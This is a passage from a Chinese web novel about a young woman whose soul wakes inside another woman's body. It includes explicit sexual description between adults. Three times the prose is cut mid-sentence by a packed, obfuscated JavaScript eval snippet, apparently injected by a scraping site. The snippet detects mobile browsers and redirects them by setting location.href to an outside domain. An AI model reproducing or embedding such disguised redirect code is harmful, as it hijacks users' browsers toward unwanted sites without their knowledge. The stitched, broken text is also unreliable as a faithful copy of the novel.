《黑莲花的情债黑化了[快穿]》 1. 偏执的前女友 带有暖意的橘黄色阳光,穿透淡薄云层,落在层层叠叠的树叶上,留下数不尽的温柔光束,如丁达尔效应。 也有着一缕缕橘色光束安静的落在了一面爬满了开的艳丽蔷薇的墙壁上。 清风微微一吹,便是馥郁芬香。 阳光顺着那窗柩倾洒进了窗户之中,米白薄纱窗帘垂落窗柩两侧,在随微风轻轻飞舞着。 房间里很安静,布局也介于冷淡和简约之间。 但此刻阳光倾洒而过的地板上,却是有着一些衣物凌乱甩落在了上面。 除去一些看着被撕碎了一点的衣物和贴身衣物外,床边还有着一些撕开用过带着未曾干涸水露的圆套,数量不少。 在那床尾上,还隐约露出一个好似拆开用过的小玩具。 但不止一个,还未曾算上凌乱摆在床头柜上与掉落地上没有拆开的。 房间安静,却是一室凌乱和数不尽的靡l糜与暧昧。 在阳光慢悠悠落在那凌乱不已的床上后,也不知道过了多久,好似无人的被子下面有了一点动静。 阳光在往床头那边倾斜时,所见的,却是那在阳光下白的有些透明赤lI裸背脊。 饶是青丝显得凌乱的散落在那白皙又泛着粉意的背脊上,但是却也遮不住那好似要飞起来的柔美蝴蝶骨,与那令人想要亲吻和把lI玩的纤细腰肢与腰窝。 而那薄被则是虚虚的遮盖在了那腰肢上。 本就一身冷白皮,此刻光束照耀之下,就更显冷白了。 橘色暖阳往上移动,看到的,就是那趴在被褥上隐约露出来的半张脸,眉目半阖,精致绝色却又略显冷淡,白皙无暇,在暖阳下宛若沉睡的精灵。 或许是睡着了,那清冷冷淡眉目之上,又好似多了一些柔和在其中,冲淡了些许的冷淡。 但后来,那阳光好似打扰了沉睡之中的人,羽睫微动间,那双眸子虚虚迎着光束睁开了那双眸子。 那双如墨漆黑的眸子里,先是有着茫然,随后又多了一些思绪飘远的空洞感在里面,眸子中的神色和情绪极为的多变与鲜明,倒是与她本身那张天然略带冷淡感的脸形成了些许反差对比。 …… 醒来的明镜依着原来的姿势趴着没有动,白皙又有着骨感的指尖好似有些无力的揪着身下柔软的被子。 熟悉的房间,还有身上那熟悉的酸软无力的感觉,都无一不让明镜的眼神呆滞。 昨晚那一系列如电光火石一般的画面在她空空如也的脑海中闪现而过,这让明镜控制不住的羽睫轻颤了好几下。 荒唐混乱到极致的一幕幕,让明镜现在都还有些回不过神来。 至今她都想不明白,事情怎么能够崩坏发展到这个程度呢? 明明……不该这样的…… 明镜指尖忍不住的收紧了些许,抓住了那柔软的被褥,耳朵尖有着些许泛红。 贝齿无意识的轻咬着自己的唇瓣,后来还是微微的动了一下身子,打算轻微换一个姿势。 但是刚动一下,被子遮盖的双lI腿lI间就传来了些许略微异样的微妙不适感来。 明镜的动作就是僵硬停顿了下来,赤ll裸l在其外的身子上,肉眼可见的覆盖起了一层粉意,脸颊上的红更为的明显。 无意落在身侧揪着被褥的手,后来带着些许颤颤巍巍的往l下探去,伸l进了被子里面。 趴在那柔软被褥之中,后来明镜转过头,直接就把头埋进了枕头里。 安静的房间里,在此刻多了一些从那枕头之中发出来的难耐闷哼声。 柔美身躯也微微的蜷缩了起来,同时还在略微轻颤着。 有着青丝散落的那光滑白皙背脊上,都好似在此刻多了些许细密汗珠,在阳光的照耀下,就更显别样的性感和美在其中了。 因为身子略微蜷曲了起来,虚虚遮盖在腰肢上的薄被往下滑落了一些,然后把那好看的腰窝全然的露了出来。 纤细腰肢上的流畅线条在此刻好似有着些许的紧绷,展翅欲飞的蝴蝶骨也格外的明显。 等到从那枕头之中传出来的闷哼声消失不见后,那蜷曲弓起来的身子在一瞬间彻底的紧绷,但是下一秒又好似失去了全部力气软了下去。 把头埋进了被子中的明镜,偏过了了头,殷红的唇瓣微微的半张着,在大口的呼吸着新鲜的空气。 她的脸颊上有着比刚才更显粉意的潮lI红,眼中好似蒙起了一层雾,又好似有着些许的失神。 吐出的呼吸都带着灼热,晕染的她眸子好似更显迷离了两分。 过了好一会儿,明镜的手动了动,泛着粉意的指尖从薄被中伸了出来,掌心里还拿着一个淡蓝色的东西。 乏力泛着粉意的指尖松开,那东西掉落在了床下,发出了清晰的闷响声。 ‘啪咚——’ 落在地板上滚动了一下,最后在一个角落中停了下来,沿途中,好似还有着一些湿意沾染在了地板上,不明显,也无人在意。 明镜的指尖有些费力的勾起了薄被,然后把自己那姣好的身姿遮裹了起来。 她现在没有那个心思和力气起床去浴室,而且,此刻的明镜也有着一些逃避的心思想法在里面。 因为她不想面对房间里面那凌乱的一幕。 昨夜荒唐的一幕幕还在她的脑海中未曾散去,她自然也知道,这个房间里面的地板上,不止是有着被撕碎了的衣衫,还有着其他乱七八糟的令人看了就脸红的东西。 但房间绝对不是第一现场,因为第一现场是在浴室…… 身子已然侧躺在了被子里面的明镜,鼻尖所萦绕的气息,对她来讲,是熟悉的,但也是陌生的。 羽睫在轻微颤动着,眸子略微的要阖不阖的。 意识在飘远的同时,昨夜一幕幕荒唐的画面就格外清晰跳跃进入了她的脑海中。 房间……浴室……镜子前…… —— 其实明镜之前一直有些搞不懂,为何有人喜欢在浴室里面装一面全身镜。 虽不懂,但是却也并无什么其他的想法。 但是昨夜,明镜或许隐约的有着那么些许的明白和懂了。 因为昨夜,她是亲身又不是亲身的体验过了浴室之中那全身镜的作用在哪里了。 昨夜,明镜看到,自己站在了那干湿分离的浴室里,站在了那一面全身镜前。 即便是浴室中的灯光有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339072|167825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昏暗晦涩,但她仍旧从那全身镜中看到了倒映在里面的自己的身影。 完美比例柔美却又有着流畅线条的身躯之上,身无一物,赤ll裸ll的站在那里,赤脚踩着一块不知何时铺进来的毛绒地毯上。 站在那里的她,被清晰的倒映在了那一面全身镜里。 后来、后来就是无比荒唐又靡l糜的一夜。 镜子前,一个接着一个被撕开的正方形包装袋,还有着其他作用不一,却能够全然刺激感ll官的那些小玩具。 全身镜前,明镜所能够见到的,就是浑身泛红却又莫名兴奋ll身ll躯在那里颤抖着。 那如墨深邃的眸子看向镜子中的自己时,其中好似弥漫了迷雾,而那迷雾却又浓稠黏腻的夹杂着其他的神色情绪在里面。 昏暗灯光下,镜子中,好似能够看到反光的银色丝线在若隐若现。 灼热的气息喷洒在镜面上,让镜子中的自己,好似站在了一层薄雾之后,身影显得朦胧不清。 模糊迷离,却又更加的暧昧了。 一门之隔,房间里面能够隐约听见浴室之中传出来的那些闷哼与l喘l息不止的声音,除了那些声音之外,还有水声混杂在其中。 一直到深夜,浴室里面的声音在缓缓的停下。 后来响起哗哗的流水声,水声停,浴室门打开,一阵氤氲水汽就从其中飘进了房间。 从那半打开的浴室门缝隙间可窥见里面地上那凌乱的一幕幕,小玩具、撕开的正方形包装,无一不显得那浴室门后面的荒唐。 但从其中赤脚走出来的人,身上也不过只是浅浅的裹了一块浴巾,周身还带着水汽。 后来浴室门关上,隔绝了那些水雾,但却没有断开那情II欲。 但是在后半夜,房间里面的灯光不知何时重复起了浴室之中的一幕幕,青欲之气在其中流动,地板上扔下了不少撕开的正方形包装袋。 后来,一直到天边露了白,房间里那昏黄暧昧的灯光这才息灭,好似一切才消停了下来。 胡闹纵Il情一夜,留下一室荒唐无边。 镜子前的那个人,是她,又不是她。 —— 一夜透支着身体的力气,如今浑身酸软无力,好像也并无意外。 裹在被子里面,明镜羽睫颤了又颤,眸子微微半阖着,一副随时都好似要睡过去的模样。 明明昨夜不论是怎么个出力的人,都不是她,但是她现在的意识,却是极困极困的。 明镜知道,这是这具身体的疲惫影响到了她。 略显困顿的意识,在回想起昨夜发生的事情时,明镜指尖略微的捏紧了被子。 她迷糊的想着,这已经不知道是第多少次,她的灵魂和意识从这具身躯之中苏醒过来了。 是的,这不是第一次了。 而这具身躯,也不是她的…… 但,之前也未曾经历过昨夜发生的那些冲击着她的视觉的事情。 从什么时候开始,她与这具身躯和这身躯之中的灵魂有了纠缠的呢。 是从三个月前,还是更久呢…… 明镜的脑海中浮现起了一个名字。 ——商扶砚 2. 偏执的前女友 [三个月前] ‘滴——’ ‘滴——’ 安静的房间里,唯有仪器的声音在其中响着。 还有两个放轻了动作的医生在里面。 在两人走动间,可隐约看到,那张床上躺着一个脸色略微苍白虚弱昏迷不醒的人。 —— 站在房间外面走廊上,周身气质略微有着些许介于淡与温之间,但又隐约带着些冷冽的明洛栖,此刻略微蹙眉看着拿在手里的手机。 刚才,有着两通电话打进来,没有显示备注。 看着手机里的哪个电话号码显示,这个号码,有点眼熟。 但是还不等明洛栖想起这是谁的号码时,房间里面就有着一个医生走了出来。 “明小姐。” 明洛栖放下捏着手机的手,转过了身:“怎么样,有检查出来什么问题吗。” 年长的医生略微的摇了一下头:“病人的各项检查指标都是正常健康的,出了这么严重的车祸,如今也只是额头有着一处轻微擦伤,至于为什么会昏迷不醒……这,建议在观察一下看看。” 这种情况她也是第一次遇见,病人的生命体征都处于健康正常值内,身体和头部都做了详细的检查,并没有什么问题,就连额头那一处细小擦伤都在结痂了,但病人却是昏迷了两天,仍旧不见转醒。 医生也觉得有些奇怪,但是却又找不到什么病因。 医生:“明小姐也不用太过担心,回去我就去问问我的老师她们,待会儿我给病人在挂两瓶水。” 明洛栖:“麻烦了。” “应该的。” 医生转身走回房间,挂吊瓶输液,弄完这些之后,她们就收拾东西准备离开了,明洛栖叫阿姨替她送客。 不过医生刚走出房间门,站在走廊上却是又回过了头看着手里捏着手机,神色淡然令人看不出她此刻有什么想法的明洛栖。 “对了明小姐,我想问问,你们家是否存在什么基因遗传疾病吗?” 明洛栖听见这话,眉心微动了一下,随后沉声道:“没有。” 医生:“这样啊,我知道了,后面有什么问题直接给我打电话就行。” 明洛栖点头,她们一走,走廊和房间就安静了下来,只有仪器的声音在‘滴’的响动。 明洛栖走进房间,她在床前坐下,握住了那放在被子外面的手。 她的神色中终究还是多了一抹疲色在里面。 看着往日明艳的少女,此刻却脸色带着些许苍白虚弱躺在床上昏迷不醒,明洛栖的眼底有着一些阴霾在里面。 她的手轻轻的落在了少女的脸颊上,指尖轻扫了那额间碎发。 “这次事故,不论是意外还是有预谋,小姨都不会放过那背后的人,但是阿镜,你可要快些醒来,要不然小姨会害怕的。” 明洛栖的声音是极致的温柔,她的动作,也同样是温柔的,像是在对待什么珍宝一般。 但对明洛栖来讲,病床上那虽然面色有些虚弱苍白,但是却也难掩其中精致的少女,或许比珍宝还要珍贵千万倍。 —— 送完客上楼的唐姨,看到房间里面的一幕,她带着一些心疼和担忧的轻叹了一声。 “小姐。” 明洛栖握着少女的手,淡声道:“人送走了。” 唐姨:“恩,送走了,老夫人那边的人也吩咐过了,不会让老夫人知道担心的。” 明洛栖看着仿若是睡着的床上少女:“知道了,辛苦唐姨了。” 唐姨看着她那好似消瘦下来的身影,她是想要劝的,但是这两天,她不知道劝了多少次了,但是明洛栖却还是事事亲力亲为的照顾。 后来唐姨说了几句话后,她就离开了,走之前,还不忘把房间门带上了。 房间里,明洛栖看着昏迷不醒的少女,眼底神色终究是多了些许的晦涩在里面。 她想到了刚才医生离开前问的那句话。 明洛栖蹙着眉,她的视线落在了少女那颈脖上隐约露出来的一根红线上。 伸出指尖捻住了那红线,然后从那衣领口子里扯出来了一块通体雪白无杂质的玉珏。 那玉珏放在手里,通体温润。 但此刻明洛栖看着掌心中那中间出现了一道裂痕的玉珏,她的脸色瞬间就隐约的变了一下。 —————— 四月十八日这一天,对于旁人来讲,这或许是一个普通而又平凡的一天。 但是对于有些人来讲,这一天可太不普通了。 毕竟谁能够想到,在明家那个昏迷了两天不醒的人,两天后,会是从一个陌生的身体之中醒过来呢。 这种荒谬的事情,当故事说出去都不会有人信。 但是偏偏,它又确确实实的发生了! …… 在一个布置稍显冷感的房间里,一道身影站在了镜子前。 看着镜子中那倒映出来的身影,明镜只觉得天都快要塌了! 望着镜子中那一张精致又带着冷淡感的一张脸,这脸好看是好看,可关键是,这不是她的脸啊! 别说脸了,就连这身体都不是她的! 这种意外惊吓,吓得明镜差点儿以为自己是见了鬼了。 结果好嘛,她后知后觉才发现,她自己就是那一只鬼…… 从醒来到现在,已经两个多小时了,明镜不得不承认一件实事。 那就是她这个‘孤魂野鬼’真的跑别人的身体里面来了! 看着镜子中那一张脸被她揉的泛红的样子,明镜‘啪’的一下就抬手打在了脑门上。 “真是活见鬼了!” 明镜现在只觉得脑仁都在阵阵的发痛。 她是真想不通,她好好的一个人,怎么就突然跑别人的身体里面来了啊! 明镜皱着眉,看了一眼被她扔在了床上的手机。 她记得很清楚,自己失去意识前,是出了一场车祸,车祸严不严重她不清楚,等她意识恢复醒来后,她就发现自己像个‘孤魂野鬼’似得跑别人身体里面了。 等到惊吓过后,好不容易接受了这个事实,她拿着手机也搜过自己出车祸的这个新闻,但是手机上对于她出了车祸这件事情根本就搜不到,更加不要说有什么新闻了。 明镜知道,一定是她小姨及时干预处理了这些消息,不让这个消息扩大,然后让家里的老人家知道了。 现在网上看不到这些消息,明镜也不知道自己的‘身体’现在是个什么情况了。 受伤严重与否这些都不清楚。 还是说,她直接又‘车祸’去世了?然后小姨把这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339073|167825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息瞒了下来? …… 明镜只觉得脑仁都在痛,事情发生的太过突然了,乱糟糟的一团,让人没有丝毫的准备,明镜现在都不知道自己该做点什么了。 就连刚才鼓起勇气给自己的手机打了两个电话过去,结果那边接通的人是她小姨的声音。 心跳如擂鼓,也没有想好她现在这个情况该怎么和她小姨开口,如果说了,她小姨又会不会信呢? 带着矛盾和脑子乱成一团线的明镜,一句话没说,反应过来的时候,电话已经被她挂断了。 然后她也没有那个勇气再打第二次电话过去了。 但是听到电话那边小姨那还略显冷静没有什么异样的声音,明镜猜想,她‘身体’情况应该还不错吧。 毕竟小时候,她见过一次自家小姨在面对她受伤后,那失去冷静的样子。 —— 当然,现在最让明镜有些头痛的是,她对这具身体的事情一无所知。 她现在唯一知道的就只有一个名字。 “商扶砚……” 双腿盘膝随意坐在了地毯上的明镜,手里拿着一张身份证,看着上面的名字还有那证件照。 不说别的,这人是长得真心好看。 而且还是能够戳中她心巴上的那种好看。 “就是这名字还有这脸看着怪让人觉得熟悉的。”明镜嘀咕了一句。 这脸长得这么好看,她之前如果见过的话,不至于会忘掉。 可这脸还有名字,她除了觉得有点熟悉之外,也确实是没有其他的记忆了。 明镜把扔一旁的手机拿起来,放在前面,看着倒映进屏幕里面的那张脸。 那张脸不笑的时候,可能给人的感觉格外的冷淡,但是此刻那张脸却是露出了苦瓜的表情来。 这要是让第二个人看见了,只会觉得格外反差。 “姐妹,你在吗?姐妹?” “姐妹?” “在的话吱个声,要不然我心慌慌啊!” “……” 明镜抱着手机拿着身份证,自言自语了好一会儿,结果愣是除了她的声音之外,就在没有其他的声音。 然后明镜放弃了,都趴在床边,整个人都一副丢了神脑袋放空的样子。 她以后,不会要一直都用这个身体了吧? 还有这姐妹现在也不知道是个什么情况,是死了,还是还活着,她都不知道。 当然,明镜是不希望这身体的主人是死了的,毕竟要是死了,说不准她还真会一直被困在这身体里面。 如果还活着的话,那对方的芯子是被她挤出身体了? 还是说,对方也还在这个身体里面,但是因为她贸然的闯入,被迫沉睡了? 从小虽然在明洛栖的宠溺下长大,也从来是要什么都会被满足,但这并不代表明镜是笨的。 相反,她是极为聪慧的,举一反三,思维也是格外的活跃。 而现在,明镜的脑海中只剩下了一个猜想。 ——灵魂共体。 她和‘商扶砚’,灵魂意识都被困在了一个身躯里面。 这可能吗? 明镜觉得,起码占百分之五十。 毕竟,她都从‘商扶砚’的身体里面醒过来了,这还有什么不可能的? 3. 偏执的前女友 楼下客厅里。 身上穿了一个单薄外套的明镜坐在沙发上,脸上没有过多神色反应的看着自己手里拿着的那一份文件。 其实若是仔细看,就会发现明镜的眼睛都要看直了。 如果她是慢羊羊,说不定此刻头顶已经长满小草了。 明镜是真的头大,自己现在是个什么情况都还没有搞清楚,就要开始以商扶砚这个身份工作了。 可问题的关键是,她对商扶砚这个身份是一点都不了解啊! …… 就在明镜盯着那些密密麻麻的字体文件看的双眼发懵发直,一副快要灵魂出窍的时候。 看着自家‘老板’一脸神色肃冷的样子看着自己手里那份文件,原助理就带着些许迟疑的出声了。 “这文件是有什么问题吗,老板?” “咳,没有,挺好。” 明镜回神,把剩下的几页都翻起看了一眼。 看到文件里面的那些学术用语和条约,明镜一边头皮发麻一边心底重重的叹了口气。 早知道有今日,之前小姨让她学习这些的时候,她就不该插科打诨的。 但是哪有什么早知道啊…… 明镜一边三心二意,一边拿了只笔在文件的后面签了个字,原本明字都写一半了,她的手就猛地停顿了下来,然后又不着声色写下了商扶砚这三个字。 文件一合,明镜无声的轻呼了口气,把文件递给了原助理。 原助理接过文件,不过同时她也有些疑惑的看着今日好似有那里不太一样的老板。 她总觉得今天的老板,给她的感觉怪怪的,她的错觉吗? “还有这些也需要麻烦老板处理一下。”原助理说着,然后默默的把另一堆文件抱起来推到了明镜的面前。 明镜:“……” 夭寿! 她可以选择罢工吗? 这一刻,明镜终于理解自家小姨为什么常常加班到半夜,偶尔还睡在公司了。 就算是下班回家早,大部分时候也是要回书房处理工作或者开线上会议。 所以牛马是不分职位高低的是吧,哪怕是老板。 “都是这两天的文件,需要老板您处理的我都带来了。” 明镜:“……我知道了,你明天来拿吧。” 原助理点头,后面又说晚上还有一个线上视频会议,让明镜不要忘了参加。 一丝不苟且敬职敬业做好自己工作的原助理,在完成自己的工作任务后,她就直接离开了。 明镜倒是有着挺多问题想要问她的,可惜怕穿帮。 她一走,明镜看着那一堆需要她解决处理的工作,额角都在突突直跳。 真的是一朝换了个身份,什么苦都让她吃上了。 ——— 后来,身份转换的适应期几乎不用明镜自己去适应,她自己就把那些文件搬上了二楼的书房吭哧吭哧的埋头工作了起来,适应期完全是在工作中度过。 明镜也不想这样认真努力的,但是谁让她无缘无故的进了别人的身体里呢。 她现在回不去自己的身体,但也不能够把人家‘商扶砚’的生活给弄得一团乱糟糟的吧。 所以明镜从这具身体里面醒来后,第一天就是在熬夜工作中度过的。 一直到第二天原助理来的时候,明镜这才顶着两个黑圆圈,一副被掏空了身体的样子把那些处理过了的文件给了原助理。 不过她在看到原助理来时又给她带了不少的工作来,明镜才是真的眼前一黑又一黑。 而原助理把文件这些送过来后,也没有久待,不过离开前,还看了一眼明镜的背影。 等她回到车上后,原助理犹豫了一下,最后还是打了一个备注着林医生三个字的电话出去。 那边电话接通的速度有点,不过倒也还是接通了。 但是一接通,那边就传来了一道带着些许调侃女声响起:“原棠?破天荒的给我打个电话,怎么,商扶砚这家伙要立遗嘱了?” 原棠:“……” 如果不是知道这个人是自家老板的好友,她都要以为这是老板的敌人了。 毕竟有谁会天天盼着自己好友死呢,而且还惦记着死后的遗嘱。 恐怕也就这位林医生独一份了。 不过这样的场面原棠没有见过十次也有八次了,她习惯了。 原助理连脸色都没有变一下,她只是道:“林医生不要开玩笑了,老板没有在立遗嘱,但老板这两日看着状态确实是不太好,林医生有空吗?” 电话那边的林溪言听见这话则是哈了一声:“就这么点小事情,至于找我吗?我这两天还在外面开会呢。” 原棠想了想这两天有点反应不太寻常的老板,她还是道:“其中情况我也不太好形容,如果林医生有时间的话可以过来自己看看。” 后面原棠又说了两句,电话就挂断了。 但是电话那边的林溪言看着挂断的电话,则是一头雾水。 不是,她就出差两天,商扶砚那个老妖怪能够有什么问题? 虽是这样想的,但是林溪言这边还是转身去找人交接工作去了。 ——— 已经回房间洗个澡红着脸带着一身水汽从浴室走出来的明镜可不知道原棠已经抓住了一些她不对劲的地方给别人打小报告了。 用脑过度,身体和精神都觉得格外疲惫的明镜,是直接就把自己甩床上去了。 被子一拉,就裹在了身上,把自己遮的严严实实的。 什么工作,什么文件,此刻明镜只想睡觉。 而且也不知道为什么,她就突然觉得太困了。 躺在床上,迷迷糊糊就要睡过去的时候,明镜还在想,商扶砚的身体还挺好的嘛。 身上的肌肉线条格外的清晰,比例完美,就是,怪让人害羞的…… 带着那样莫名奇妙的想法,脸上还有些滚烫热意粉红的明镜,后来就那样睡了过去。 在她的呼吸变得平稳绵长后,这个房间也好似逐渐的变得格外安静了下来。 但是明镜恐怕是无论如何也想不到,在她睡着之后会发生些什么事情。 —— 安静的房间里,只余下那令人心安的绵长呼吸声。 但是没过多久,那绵长呼吸声却是缓缓的放轻了下来,最后直至完全消失不见后。 下一瞬,床上那已然睡着的人,却是倏然的睁开了那双沉寂漆黑似幽暗深渊的眸子。 那双眸子之中没有刚睡醒的茫然,有的是一片沉静与清明无波。 同一张脸,却是有着不同神态的眸子。 床上的人坐起,被子滑落腰间,那张清冷的脸上并无任何的情绪波动。 她是明镜吗? 不,或许,此刻醒来的人,才是那个被明镜以为灵魂意识沉睡在身体中的主人——商扶砚。 —— 商扶砚微微的低头,看着自己的双手。 脸上神色冷淡无波,眼帘微落,一时间倒是令人难以看到她此刻在想些什么。 被子掀开,下了床,周身气质已然有了明显变化的人直接就走进了浴室。 脚上踩着拖鞋,站在浴室中的那一面全身镜前,商扶砚的眼帘微微的上撩了些许,直直的看向了镜子中那一双同样满是晦涩不明的漆黑双眸。 同时,她抬起了自己那纤细素白的指尖落在了那光滑带着冰凉的镜子上。 浴室之中的灯光略显昏暗,她那素白好看的指尖落在镜面上,显得更为白皙透明。 她的指尖好似要透过镜子轻触着镜子中的那一双眼睛。 但是,她想要触碰到的,却又并不是自己的那双眼睛。 不论是落在微凉镜面上的指尖,还是那直直对视的一双眼睛,都好似在透过那面镜子在看向和触摸着另一双眼睛。 镜子中那双如墨漆黑望不见底的幽深眸子,其中好似有着盛起了一些黏稠的浓雾在里面,模糊了那一份清明。 那黏稠的浓雾之中好似有着什么东西在肆意的生长,但又被压抑在了浓雾之后,于是,就更显得那双眸子格外的晦涩深暗了起来。 后来,安静的浴室里面,响起了一道低沉却又带着浓浓难以掩饰的病态兴奋与阴湿。 “阿镜……长情……” “你终将是属于我的。” 商扶砚指尖落在镜子上,轻轻的抚着镜子中的那双眼睛,就好似在轻触着她想要触碰的那个人一般。 她看着好似有些病态和臆想,行为和话语都好似极为的不正常。 但是她那双深暗的眼眸之中,却又始终是保持着冷静理智的。 这说明,她是清醒的,也知道自己是在做什么。 而这,才是最令人害怕和背脊有些发凉的地方。 —————— 而另一边。 明洛栖还是带着难掩的疲色回了明家老宅。 车祸这件事情,她让人去查了,不管是意外还是其他原因,结果进展都有了。 但是唯独明镜一直昏迷这件事情,让明洛栖到现在仍旧是束手无措。 不少的医生专家都咨询看过了,可仍旧是找不到明镜昏迷的原因头绪是什么。 不论是做多少次检查,明镜的身体指标和生命特征都是处于健康的范围之中的。 至于是什么原因造成明镜昏迷这么些天都还没有醒过来这件事情,还是没有查出来。 医疗手段查不出来原因,明洛栖最后还是回了老宅。 …… 明家老宅还保留着中古建筑的样式,传承已久,古色古香的韵味自然也是保留了下来。 古典庭院阁楼,长廊段段相连,红枫,青湖,低调不显眼,却又处处透露着雍容精致,这是明家底蕴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339074|167825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 明洛栖走在前院用鹅卵石青石板铺成的小道上。 她现在是去见明家老太太,想要去问一些她之前并不怎么重视的事情。 她的脚步并不慢,走动之间,小道两侧的盆景绿叶也被一阵微风带动着摇曳着。 但同时还让明洛栖在意一件事情。 就是这两日,她已然想起了之前打进明镜手机里面那个没有备注的电话是谁的了,因为她的手机里面也存了一个。 但她和对方之前也不过只是因为一次三方合作关系而有过一次联系。 但,那一次联系,其实也并未见到对方的人,只是通过一次电话,后面就再无交集。 明洛栖在意的是,对方和明镜是什么关系? …… 带着疲色,却又思维异常活跃的明洛栖,哪怕现在心底在如何的沉重担心,但是也还分了一些思绪去想这些事情。 因为她总觉得,明镜的车祸,昏迷,还有那两通无缘无故的电话,都有着一些她抓不住的关联在里面。 可这些天的调查,好像也并未发现其他的异常。 到前厅时,看着坐在沙发上看戏曲儿的老太太,明洛栖收敛了那些逸散出去的思绪,脚步微微的一顿,后来还是走了进去。 她把外套脱下挂在了架子上,然后向着明家老太太走了过去。 明家老太太明瑜,她是明洛栖的母亲,明镜的外婆。 一头银白发,却也难掩周身那由岁月沉淀在其中的宁静雍容与优雅,周身气质也是温和的。 “回来了。”老太太先出声。 明洛栖嗯了一声,绕过沙发,走到了老太太前面。 “母亲。” 明洛栖在前面站着,老太太的视线从电视上落到了她的身上。 打量了一下明洛栖,老太太微微皱起了眉:“几天不见,你看着怎么清瘦了?是出什么事情了?” 明洛栖的指尖微微的收紧,最后又松开,她的脸色有些沉。 “是阿镜。” —— 电视已经关了,客厅里面已经变得安静下来了,气氛有些不太好。 坐在沙发上的老太太已经站了起来,她背对着明洛栖站着,过了良久,她这才叹了一声,也没有了刚才的那放松的样子。 “这几日,我总是心神不宁,原来真是阿镜出事了。” “明洛栖,若不是阿镜的事情和明家血脉有关,这件事情你是不是还要一直瞒着我。” “长情若是出了什么事情,不说我,你以后如何对你姐姐她们交代。” 老太太语气并不激烈,但她越是平静,就越是说明,她生气了。 明洛栖唇瓣紧抿着:“抱歉,这件事情,是我考虑不周。” 老太太摆了摆手,转过了身:“事情都已经发生了,说这些已然没什么用了,长情昏迷,玉珏有了裂痕,难道真的就要老路重走了吗。” 明洛栖不知道想到了什么,她的脸色变得有些难看了起来,往前走了一步。 “我不会让阿镜有事的,一定还有其他的办法的。” 老太太叹了口气,没出声,手落在了扶手上,身体慢慢坐在了椅子上。 明洛栖看着她,同样也是在等。 过了好一会儿,老太太这才出声:“如果阿镜真的是和她妈妈一样……这件事情,恐怕也就只有那位有办法了,当年,也是她出手,你姐姐才有时间多陪了阿镜几年,若不然……” 明洛栖眉心皱了起来,显然,她猜到了老太太口中的‘那位’说的是谁了。 可是,明洛栖刚觉得有了希望,但很快却又沉了心。 “可她……如何能够找到。” 老太太也是一时犯了难,因为从来都是那位主动联系找上她们的,可是她们却从来不知道该如何联系对方。 且那位……最近一次见到她,那也是二十二年前了。 ———— 回了自己在老宅之外的住所后。 明洛栖先是去看了还没有醒过来的明镜后,她这才回了自己的房间,拿了一套睡衣走进了浴室。 等到出来后,明洛栖身上带着水汽,但也好似洗去了一些疲惫。 她倒了一杯酒端着站在了房间窗户前,看着外面夜空中升起来的一轮明亮圆月。 明洛栖有些走神,指尖也落在窗台上轻点着。 她在想下午的时候,老太太说的话。 二十二年前…… 她也尤记得二十二年前所发生的事情,也同样记得,那个对明家祖辈来讲都格外神秘的人。 二十二年前,那是阿镜出生的那一年。 她记得清楚,阿镜那时不过刚出生三天,而那年她八岁,那位就那么毫无征兆的出现在了医院,出现在了病房里。 后来…… 明洛栖的眸子微微的眯了一下,眼底晦涩一片。 4. 偏执的前女友 [二十二年前] ‘哒——’ ‘哒——’ 肃白空旷而又安静的走廊上响起清晰的脚步声。 这里是医院住院部,安静的走廊看着很长,无人,却又充斥着一些灰败死寂在其中。 后来,那脚步声在802病房前停了下来。 一只素白好看的手抬起落在了那把手上,轻轻往下一压,‘咔嚓’一声,病房的门打开了。 推开门,外面的人走了进去,啪嗒一声细微轻响,病房门重新关上,然后把冷清安静的走廊隔绝在了外面。 …… 病房里。 进来的人,身姿修长却又单薄的站在了那病床的床尾,那双如墨的眸子平静淡然没有丝毫波澜的看着那坐在病床上的人。 坐靠在病床上的人,身上穿着病服,头发披散着,那张柔美婉约的脸上没有多少的血色,但是她却又在温柔的笑着。 她温柔带着慈祥的样子在看着自己怀中的孩子。 怀中的孩子粉嫩又可爱,挥舞着自己的小手想要去抓住落在自己面前的头发,时不时的还发出一点声音来。 这个带着消毒水味道又素白一片的房间的里,都好似因为那软糯的声音变得温馨了起来。 “您来了。” 病床上的女人,抬起头看着身影一半隐匿在了阴影之中站在床尾的人。 有些好似令人看不清面容的人,站在那处沉默安静了一下,过了一会儿,这才嗓音带着些许清冽无波的出声道。 “你决定好了吗。” 明浅看着怀中的孩子,眼神温柔,她把自己的食指伸过去让那两只小手抓着。 “她是我和云初的孩子。”病床上坐着的女人温柔的说着,指尖轻轻的捏着那一双小手。 “只愿她平安健康长大,一世无虞。” 